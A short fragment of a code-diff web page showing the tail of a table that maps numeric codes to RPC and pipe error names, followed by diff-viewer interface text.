81017: "UVE_RPC_SOCKET_INIT_ FAILED",
|
||||
81018: "UVE_RPC_SERVICE_PAUSED",
|
||||
81019: "UVE_RPC_BAD_TRANSPORT",
|
||||
81020: "UVE_RPC_BAD_PIPE",
|
||||
81021: "UVE_RPC_PIPE_WRITE_ERROR",
|
||||
81022: "UVE_RPC_PIPE_READ_ERROR"
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user